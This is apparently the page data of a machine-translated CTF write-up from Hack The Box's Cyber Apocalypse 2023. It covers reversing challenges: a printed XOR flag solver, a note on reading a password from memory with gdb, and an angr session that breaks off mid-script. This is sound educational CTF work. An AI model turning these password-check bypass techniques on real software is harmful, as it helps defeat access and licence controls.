{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-htb-2023-en","result":{"data":{"markdownRemark":{"id":"93118641-3b64-5dec-abff-1ab19d9b62fb","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-htb-2023\">original page</a>.</p>\n</blockquote>\n<p>We participated in the Cyber Apocalypse 2023 CTF, held in March 2023.</p>\n<p>It was a CTF organized by Hack The Box, and we had a great time — there were many interesting, realistic challenges.</p>\n<p>With over 6,400 competing teams, it was one of the largest CTFs we have ever participated in.</p>\n<p>New members joined us this time, and we finished in 118th place.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 721px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/eacbd5c55e97348b87630dbc1b3c062e/01dae/Fr6CgQcakAIszp0.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 82.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC30lEQVQ4y31TW28SQRTmxZj2TaBcl+Wy3NqysOyy0GohBeTS0tICpaX05t0mfVAfNaYaNTE+GX+B/8PExMT/4IN/5vPMLLMtbePDycyZmfOd831njsMfy+OyBRQdwbgx5UtJk69+JY9QWoecNhBMGNyXUtZZMG69d1wFFOaLamTW3iUtwiNnOYBtMc16q2h8zxP+D1AEeOQc8pUq0voKfJGbElvJhe9gyAHFsKsS1Kw9AYYz2BydolTtYU7O8DOWzGKgTWQxeBzzJ4C6ncHSj85Ik7mgAaeP/EgJ/qhB1bKKDapUn9C+0Dkw0d0xdUgWShbgCRmonijY/xhE96WCnddRGGvzqIyTGJ5LMDdTcAcKvBEiTjRyqkIB6I/qSJoqzO0I9PUYtHYMoUwasppErqkgVVLhDeucvmU3AAqTEgW+emQdteYJur1T7I5foD96jqNHr1C814czkCUAeh+7FHuVsmgKyyQak1uqo9zsobl1gFpnhEqzD225AW8kd63b1wAZGKMrp0z7kUvKUGezVLVJd0U46T+6Qhm7eYwNMxHPAUVFEq1tqqQ7fAhl8S59F6uKcLqE8YMzfifoMdBqe4j+/hOstncomUlVa0JDq1Qls0IU15BdaiGVX7WFXjDqdNaGWmojka2QbnmuX1wtQy226Lx1IZNoSmgyq4yeL5bDXDjL9242bjHrnhmfCgpid16i6CEt3bLK9WOyWIDksIvy/R42BidodkdY2ybqu8foDA7Q2trD8OgxlqprWB+M0egO+ZuNwTFRfkpvD5Ep1OxGOcTIJHNl5JdbyJZqtDaxoHYQT3aQmt+Ebu4jtbCFWKKNULiBRY2kKdaRKzV4DNPcbor40CyDm8T2RlW4girqz4LY++TEiKbl8HOYLILhOy8Ovrj5h7/jY9JkrJiINq3h5dGTkqRT2MDZdze+/rmN979mcf5zBm9/zODD71l8+3sLgzchuP0m6TY9FAznHzfRCewxJVflAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/eacbd5c55e97348b87630dbc1b3c062e/8ac56/Fr6CgQcakAIszp0.webp 240w,\n/static/eacbd5c55e97348b87630dbc1b3c062e/d3be9/Fr6CgQcakAIszp0.webp 480w,\n/static/eacbd5c55e97348b87630dbc1b3c062e/c71bf/Fr6CgQcakAIszp0.webp 721w\"\n              sizes=\"(max-width: 721px) 100vw, 721px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/eacbd5c55e97348b87630dbc1b3c062e/8ff5a/Fr6CgQcakAIszp0.png 240w,\n/static/eacbd5c55e97348b87630dbc1b3c062e/e85cb/Fr6CgQcakAIszp0.png 480w,\n/static/eacbd5c55e97348b87630dbc1b3c062e/01dae/Fr6CgQcakAIszp0.png 721w\"\n            sizes=\"(max-width: 721px) 100vw, 721px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/eacbd5c55e97348b87630dbc1b3c062e/01dae/Fr6CgQcakAIszp0.png\"\n            alt=\"image\"\n            title=\"image\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>We focused mainly on Rev and Forensic challenges, but a few that felt almost within reach ran out of time on us — very unfortunate.</p>\n<p>As usual, here is a summary of the challenges we found interesting or educational.</p>\n<h2 id=\"she-shells-c-shells-rev\" style=\"position:relative;\"><a href=\"#she-shells-c-shells-rev\" aria-label=\"she shells c shells rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>She Shells C Shells (Rev)</h2>\n<blockquote>\n<p>You’ve arrived in the Galactic Archive, sure that a critical clue is hidden here. You wait anxiously for a terminal to boot up, hiding in the shadows from the guards hunting for you. Unfortunately, it looks like you’ll need a password to get what you need without setting off the alarms…</p>\n</blockquote>\n<p>The challenge took user input, XOR-ed it with a byte array <code class=\"language-text\">m1</code>, then XOR-ed the result with <code class=\"language-text\">m2</code> to produce the flag.</p>\n<p>After analyzing with Ghidra, we found that the byte array obtained by XOR-ing user input with <code class=\"language-text\">m1</code> is first compared against another byte array <code class=\"language-text\">t</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 716px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c7d44ad4bee1b7992ae40be3befc35b1/6bbf7/image-20230321104950676.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 42.083333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuUlEQVQY05WQ2Y3FMAwD03+tiyQ+dJCy7FUJL/wwoIEJDXTB2QZU/W5qdrvhbi7qAIYsUfTp7s3Bt1PEEewThc45l9skW2/xPCCnUI12fsulup7n7qPdrT3jD9BZBsbMRWbEIupFZjA2uFbxgjXsfa3Yva9h2kXHfOFzaoiShPkqS9Fwl+qrZfEqKsIMe2dp833n8IH6SSMk9/5VewwnPXJ5eO48X3LNCZHa3Jq3WPGtXDcHIhPne/4BNCzWtAoNb+sAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c7d44ad4bee1b7992ae40be3befc35b1/8ac56/image-20230321104950676.webp 240w,\n/static/c7d44ad4bee1b7992ae40be3befc35b1/d3be9/image-20230321104950676.webp 480w,\n/static/c7d44ad4bee1b7992ae40be3befc35b1/d8378/image-20230321104950676.webp 716w\"\n              sizes=\"(max-width: 716px) 100vw, 716px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c7d44ad4bee1b7992ae40be3befc35b1/8ff5a/image-20230321104950676.png 240w,\n/static/c7d44ad4bee1b7992ae40be3befc35b1/e85cb/image-20230321104950676.png 480w,\n/static/c7d44ad4bee1b7992ae40be3befc35b1/6bbf7/image-20230321104950676.png 716w\"\n            sizes=\"(max-width: 716px) 100vw, 716px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c7d44ad4bee1b7992ae40be3befc35b1/6bbf7/image-20230321104950676.png\"\n            alt=\"image-20230321104950676\"\n            title=\"image-20230321104950676\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This means that XOR-ing <code class=\"language-text\">t</code> with <code class=\"language-text\">m2</code> yields the final flag string.</p>\n<p>We retrieved the flag with the following solver:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">m1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span> <span class=\"token number\">0x6e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x3f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xd7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xac</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x22</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x4d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x57</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xdb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xdf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xcf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xed</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfc</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x84</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xd8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x17</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x85</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x87</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x43</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xd4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x4f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x7c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x86</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xda</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x07</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x0a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x7e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x73</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xdf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x60</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xae</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xca</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xcf</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xde</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x00</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x70</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x9a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x51</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xae</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x7e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8d</span> <span class=\"token punctuation\">]</span>\nm2 <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span> <span class=\"token number\">0x64</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x97</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x44</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x48</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x91</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x26</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x9e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x2b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x02</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x98</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x57</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xed</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x4a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x4b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xd1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xeb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x09</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfa</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xcb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x2b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x93</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xab</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x70</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x93</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x35</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x90</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe9</span> <span class=\"token punctuation\">]</span>\nt <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x4a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x70</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x78</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x93</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x97</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xd9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x47</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6d</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x38</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbd</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x85</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x4a</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xab</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x74</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x7b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x9f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xd7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xec</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xeb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xcd</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x63</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xb2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x39</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x23</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x84</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x92</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x96</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x09</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xf2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfa</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xcb</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x6f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x5e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xbe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x2b</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x93</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xab</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x8f</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x70</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xa6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xfe</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x93</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x35</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x90</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xc9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0xe9</span> <span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x4d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> m2<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<h2 id=\"hunting-license-rev\" style=\"position:relative;\"><a href=\"#hunting-license-rev\" aria-label=\"hunting license rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Hunting License (Rev)</h2>\n<blockquote>\n<p>STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!</p>\n</blockquote>\n<p>This challenge involved analyzing a binary to collect information such as passwords and library details.</p>\n<p>Because the password is stored in plaintext in memory during validation, debugging with gdb made it trivial to find.</p>\n<h2 id=\"cave-system-rev\" style=\"position:relative;\"><a href=\"#cave-system-rev\" aria-label=\"cave system rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Cave System (Rev)</h2>\n<blockquote>\n<p>Deep inside a cave system, 500 feet below the surface, you find yourself stranded with supplies running low. Ahead of you sprawls a network of tunnels, branching off and looping back on themselves. You don’t have time to explore them all - you’ll need to program your cave-crawling robot to find the way out…</p>\n</blockquote>\n<p>Analyzing the binary revealed that the flag could be determined one character at a time by brute force from the start.</p>\n<p>Automating gdb would have been one approach, but angr seemed better suited for the conditions, so we retrieved the flag with the following script:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token operator\">>></span><span class=\"token operator\">></span> proj <span class=\"token operator\">=</span> angr<span class=\"token punctuation\">.</span>Project<span class=\"token punctuation\">(</span><span class=\"token string\">'cave'</span><span class=\"token punctuation\">)</span>\nWARNING  <span class=\"token operator\">|</span> <span class=\"token number\">2023</span><span class=\"token operator\">-</span><span class=\"token number\">03</span><span class=\"token operator\">-</span><span class=\"token number\">21</span> <span class=\"token number\">11</span><span class=\"token punctuation\">:</span><span class=\"token number\">15</span><span class=\"token punctuation\">:</span><span class=\"token number\">35</span><span class=\"token punctuation\">,</span><span class=\"token number\">590</span> <span class=\"token operator\">|</span> cle<span class=\"token punctuation\">.</span>loader     <span class=\"token operator\">|</span> The main binary <span class=\"token keyword\">is</span> a position<span class=\"token operator\">-</span>independent executable<span class=\"token punctuation\">.</span> It <span class=\"token keyword\">is</span> being loaded <span class=\"token keyword\">with</span> a base address of <span class=\"token number\">0x400000</span><span class=\"token punctuation\">.</span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> init_state <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>factory<span class=\"token punctuation\">.</span>entry_state<span class=\"token punctuation\">(</span>args <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">'cave'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> simgr <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>factory<span class=\"token punctuation\">.</span>simgr<span class=\"token punctuation\">(</span>init_state<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> obj <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>loader<span class=\"token punctuation\">.</span>main_object\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Entry\"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>obj<span class=\"token punctuation\">.</span>entry<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nEntry <span class=\"token number\">0x401080</span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> simgr <span class=\"token operator\">=</span> 